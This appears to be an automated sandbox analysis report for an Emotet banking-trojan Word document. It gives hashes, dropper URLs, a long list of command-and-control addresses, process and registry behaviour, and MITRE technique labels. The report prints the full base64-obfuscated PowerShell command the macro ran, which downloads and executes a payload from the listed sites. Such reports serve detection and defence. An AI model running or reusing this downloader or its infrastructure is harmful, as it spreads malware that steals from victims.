emotet | f70ea3aff198bec28e60b926cd3be016818427f14eeb07bf3adfcd7a47e841e8

Analysis

max time kernel
137s
max time network
152s
platform
windows10_x64
resource
win10
submitted
15/09/2020, 22:07

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General

Target
E3_f70ea3aff198bec28e60b926cd3be016818427f14eeb07bf3adfcd7a47e841e8_2020-09-15_06-22-00_DOC.doc
Size 155KB
Sample200915-kn98ev39w6
SHA256 f70ea3aff198bec28e60b926cd3be016818427f14eeb07bf3adfcd7a47e841e8
MD5 6a7aa88d47447952b59494240521627d
SHA1 64e139faff3acb8dc245503f58bb0b00d02fe5ec
SHA512 ec7cd21bf3f6b21bb702a1581b943d7869b141b15d4d7ea111569b73fde51f02a1d7fd8f7fe1c5c7f34903c35c5829770779fd0c58a91c81ae34550f78393bc1
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://yolticaxcan.com/cgi-bin/T7nT/
exe.dropper
http://vqpr.com/client/dN/
exe.dropper
http://totogourmet.com/shopping/CRiy/
exe.dropper
http://amyescort.de/wp-admin/RVuhzNI/
exe.dropper
https://nypthealing.com/wp-includes/nfR/
exe.dropper
https://www.lvl.com.br/wp-admin/U2nZ6FNU5G/
exe.dropper
http://www.weblinx.com.pk/algarments.com.pk/UMR/

Extracted

Family

emotet

115.176.16.221:80
45.79.16.230:7080
145.239.169.32:7080
190.85.46.52:7080
180.26.62.115:443
179.5.118.12:80
189.160.188.97:80
5.79.70.250:8080
126.126.139.26:443
41.84.243.145:80
79.133.6.236:8080
139.59.12.63:8080
95.216.205.155:8080
45.177.120.37:8080
54.38.143.245:8080
157.7.164.178:8081
41.212.89.128:80
50.116.78.109:8080
75.127.14.170:8080
49.243.9.118:80
60.125.114.64:443
181.95.133.104:80
192.210.217.94:8080
103.229.73.17:8080
78.114.175.216:80
185.86.148.68:443
200.120.241.238:80
37.205.9.252:7080
178.33.167.120:8080
143.95.101.72:8080
103.48.68.173:80
46.32.229.152:8080
172.105.78.244:8080
120.51.34.254:80
192.163.221.191:8080
223.133.20.171:80
172.96.190.154:8080
113.156.82.32:80
51.38.201.19:7080
119.92.77.17:80
103.80.51.61:8080
115.79.195.246:80
198.57.203.63:8080
181.122.154.240:80
37.210.220.95:80
91.83.93.103:443
41.185.29.128:8080
190.190.15.20:80
37.187.100.220:7080
46.105.131.68:8080
58.27.215.3:8080
128.106.187.110:80
220.147.247.145:80
190.101.48.116:80
185.208.226.142:8080
202.166.170.43:80
115.78.11.155:80
192.241.220.183:8080
36.91.44.183:80
8.4.9.137:8080
182.227.240.189:443
190.194.12.132:80
202.188.218.82:80
221.184.46.216:80
2.144.244.204:80
103.133.66.57:443
203.153.216.178:7080
182.253.83.234:7080
88.247.58.26:80
76.18.16.210:80
223.17.215.76:80
138.201.45.2:8080
185.142.236.163:443
67.121.104.51:20
162.144.42.60:8080
113.161.148.81:80
167.71.227.113:8080
195.201.56.70:8080
74.208.173.91:8080
77.74.78.80:443
157.245.138.101:7080
113.160.248.110:80
189.150.209.206:80
37.46.129.215:8080
181.137.229.1:80
116.202.10.123:8080
187.189.66.200:8080
91.75.75.46:80
80.200.62.81:20
117.247.235.44:80
202.153.220.157:80
113.193.239.51:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1880	1932	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	1880	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2400	Z1xbo_.exe
2580	KBDAZST.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\comuid\KBDAZST.exe	Z1xbo_.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
716	WINWORD.EXE
716	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1880	powershell.exe
1880	powershell.exe
1880	powershell.exe
2580	KBDAZST.exe
2580	KBDAZST.exe
2580	KBDAZST.exe
2580	KBDAZST.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1880	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
716	WINWORD.EXE
716	WINWORD.EXE
716	WINWORD.EXE
716	WINWORD.EXE
716	WINWORD.EXE
716	WINWORD.EXE
716	WINWORD.EXE
716	WINWORD.EXE
716	WINWORD.EXE
2400	Z1xbo_.exe
2400	Z1xbo_.exe
2580	KBDAZST.exe
2580	KBDAZST.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1880 wrote to memory of 2400	1880	powershell.exe	80
PID 1880 wrote to memory of 2400	1880	powershell.exe	80
PID 1880 wrote to memory of 2400	1880	powershell.exe	80
PID 2400 wrote to memory of 2580	2400	Z1xbo_.exe	83
PID 2400 wrote to memory of 2580	2400	Z1xbo_.exe	83
PID 2400 wrote to memory of 2580	2400	Z1xbo_.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E3_f70ea3aff198bec28e60b926cd3be016818427f14eeb07bf3adfcd7a47e841e8_2020-09-15_06-22-00_DOC.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:716

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABIAHEAZgA5ADUAcAB3AD0AKAAoACcAWgAwACcAKwAnADEAJwApACsAKAAnAGQANAA0ACcAKwAnADAAJwApACkAOwAuACgAJwBuAGUAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAFIAUAByAG8AZgBpAGwAZQBcAGMAMgBsAEIATABqAEoAXABIADYATAAzADkAcgAxAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAEUAQwB0AE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAFUAUgBpAHQAWQBwAFIATwBUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzACcAKQArACgAJwAxACcAKwAnADIALAAnACkAKwAoACcAIAAnACsAJwB0AGwAJwApACsAKAAnAHMAMQAxACwAJwArACcAIAAnACkAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAEwANwB5AG8AYQAwAG4AIAA9ACAAKAAoACcAWgAxACcAKwAnAHgAYgAnACkAKwAnAG8AXwAnACkAOwAkAEUAXwBmAGQAcQBmAGYAPQAoACcAWQAnACsAKAAnAGYAcwAnACsAJwBlAHYAJwApACsAJwA0AHEAJwApADsAJABMAGoAcgBuAGsAcQA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAB9ACcAKwAoACcAQwAyACcAKwAnAGwAYgAnACkAKwAnAGwAagAnACsAJwBqACcAKwAnAHsAMAB9AEgANgBsADMAOQByADEAewAwACcAKwAnAH0AJwApAC0AZgBbAGMAaABBAHIAXQA5ADIAKQArACQATAA3AHkAbwBhADAAbgArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAFIAZgBjAGIAbgB1AGcAPQAoACcATQAnACsAJwA4ACcAKwAoACcAagAzAGkANgAnACsAJwB6ACcAKQApADsAJABXAGwAdgB3AGcAawA0AD0AJgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAHcAZQBiAGMATABJAGUATgB0ADsAJABTADgAegBmAF8AcgBoAD0AKAAoACcAaAAnACsAJwB0AHQAcAA6ACcAKQArACcALwAvACcAKwAoACcAeQAnACsAJwBvAGwAdABpAGMAJwApACsAJwBhACcAKwAnAHgAYwAnACsAJwBhACcAKwAnAG4ALgAnACsAKAAnAGMAJwArACcAbwAnACsAJwBtAC8AYwBnAGkALQBiACcAKQArACgAJwBpAG4AJwArACcALwBUADcAbgAnACkAKwAoACcAVAAvACoAJwArACcAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwB2AHEAcAByAC4AJwApACsAKAAnAGMAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAbABpACcAKwAnAGUAJwApACsAKAAnAG4AdAAvACcAKwAnAGQAJwApACsAKAAnAE4AJwArACcALwAqAGgAJwArACcAdAB0AHAAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAHQAbwAnACsAJwB0AG8AJwApACsAKAAnAGcAbwB1AHIAJwArACcAbQBlAHQAJwArACcALgAnACkAKwAoACcAYwBvACcAKwAnAG0ALwBzACcAKQArACgAJwBoACcAKwAnAG8AcAAnACkAKwAnAHAAJwArACcAaQBuACcAKwAoACcAZwAvACcAKwAnAEMAJwApACsAJwBSAGkAJwArACgAJwB5AC8AKgBoAHQAJwArACcAdABwADoALwAvAGEAbQAnACsAJwB5ACcAKwAnAGUAcwAnACsAJwBjAG8AJwApACsAKAAnAHIAJwArACcAdAAuAGQAZQAvAHcAcAAtACcAKwAnAGEAJwArACcAZABtAGkAJwApACsAJwBuACcAKwAoACcALwBSAFYAdQBoACcAKwAnAHoAJwApACsAKAAnAE4AJwArACcASQAvACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAcwA6ACcAKQArACcALwAnACsAKAAnAC8AbgB5AHAAdAAnACsAJwBoAGUAYQAnACkAKwAoACcAbABpACcAKwAnAG4AZwAuACcAKQArACcAYwAnACsAKAAnAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQBpAG4AJwArACcAYwBsAHUAJwApACsAKAAnAGQAZQBzACcAKwAnAC8AbgAnACkAKwAoACcAZgBSAC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAcABzADoAJwArACcALwAvAHcAdwAnACsAJwB3ACcAKQArACcALgAnACsAJwBsACcAKwAoACcAdgBsAC4AJwArACcAYwAnACkAKwAoACcAbwBtAC4AJwArACcAYgAnACkAKwAnAHIALwAnACsAJwB3ACcAKwAoACcAcAAnACsAJwAtAGEAJwArACcAZABtAGkAbgAnACkAKwAoACcALwBVACcAKwAnADIAJwApACsAKAAnAG4AWgAnACsAJwA2AEYAJwApACsAJwBOACcAKwAnAFUANQAnACsAJwBHACcAKwAnAC8AJwArACgAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAOgAvAC8AdwB3AHcALgAnACsAJwB3ACcAKwAnAGUAJwApACsAJwBiACcAKwAnAGwAaQAnACsAJwBuACcAKwAnAHgALgAnACsAJwBjAG8AJwArACcAbQAnACsAKAAnAC4AJwArACcAcABrAC8AJwApACsAKAAnAGEAbABnACcAKwAnAGEAJwApACsAJwByACcAKwAoACcAbQBlAG4AdABzAC4AJwArACcAYwBvACcAKQArACgAJwBtAC4AJwArACcAcABrAC8AVQBNACcAKwAnAFIALwAnACkAKQAuACIAcwBwAGwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAHgAXwA5AHkAbABnAD0AKAAnAFYAZgAnACsAKAAnADMAJwArACcAOQBrAHkAbgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEEAbgAyADIANAAxAGEAIABpAG4AIAAkAFMAOAB6AGYAXwByAGgAKQB7AHQAcgB5AHsAJABXAGwAdgB3AGcAawA0AC4AIgBEAE8AYABXAG4ATABPAEEAZABgAEYAYABJAEwAZQAiACgAJABBAG4AMgAyADQAMQBhACwAIAAkAEwAagByAG4AawBxADgAKQA7ACQATwByADAANwBtADkAcgA9ACgAJwBWAHcAJwArACgAJwB4ACcAKwAnAHQANwAnACkAKwAnAG8AdQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATABqAHIAbgBrAHEAOAApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADIAMgAwADMAMwApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABMAGoAcgBuAGsAcQA4ACkAOwAkAFQANgAwADUAcwB1AG4APQAoACcAWQBpACcAKwAoACcAaAAzAGkAJwArACcAagA0ACcAKQApADsAYgByAGUAYQBrADsAJABaAGgAMgA4ADQAcABuAD0AKAAnAEoAZQAnACsAKAAnAGMAegAnACsAJwB4ACcAKQArACcAaQBxACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBxAHUANQBwAHEAYwA9ACgAJwBQACcAKwAoACcAOABvACcAKwAnADEAawA2AHYAJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1880
- C:\Users\Admin\C2lbljj\H6l39r1\Z1xbo_.exe
  "C:\Users\Admin\C2lbljj\H6l39r1\Z1xbo_.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Windows\SysWOW64\comuid\KBDAZST.exe
    "C:\Windows\SysWOW64\comuid\KBDAZST.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2580

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/716-1-0x00000126DE8E1000-0x00000126DE8F2000-memory.dmp

Download

memory/716-2-0x00000126DE8E1000-0x00000126DE8F2000-memory.dmp

Download

memory/716-3-0x00000126DE8E1000-0x00000126DE8F2000-memory.dmp

Download

memory/716-4-0x00000126DE8E1000-0x00000126DE8F2000-memory.dmp

Download

memory/716-5-0x00000126DE8E1000-0x00000126DE8F2000-memory.dmp

Download

memory/716-6-0x00000126DC561000-0x00000126DC566000-memory.dmp

Download

memory/716-7-0x00000126DEA62000-0x00000126DEA67000-memory.dmp

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memory/716-8-0x00000126DEA62000-0x00000126DEA67000-memory.dmp

Download

memory/716-0-0x00007FFFB8D00000-0x00007FFFB93C6000-memory.dmp

Download

memory/1880-10-0x0000025166930000-0x0000025166931000-memory.dmp

Download

memory/1880-11-0x000002517F130000-0x000002517F131000-memory.dmp

Download

memory/1880-9-0x00007FFFB1720000-0x00007FFFB210C000-memory.dmp

Download

memory/2400-15-0x0000000000AB0000-0x0000000000AC2000-memory.dmp

Download

memory/2400-16-0x0000000000AD0000-0x0000000000AE0000-memory.dmp

Download

memory/2580-19-0x00000000022D0000-0x00000000022E2000-memory.dmp

Download

memory/2580-20-0x00000000022F0000-0x0000000002300000-memory.dmp

Download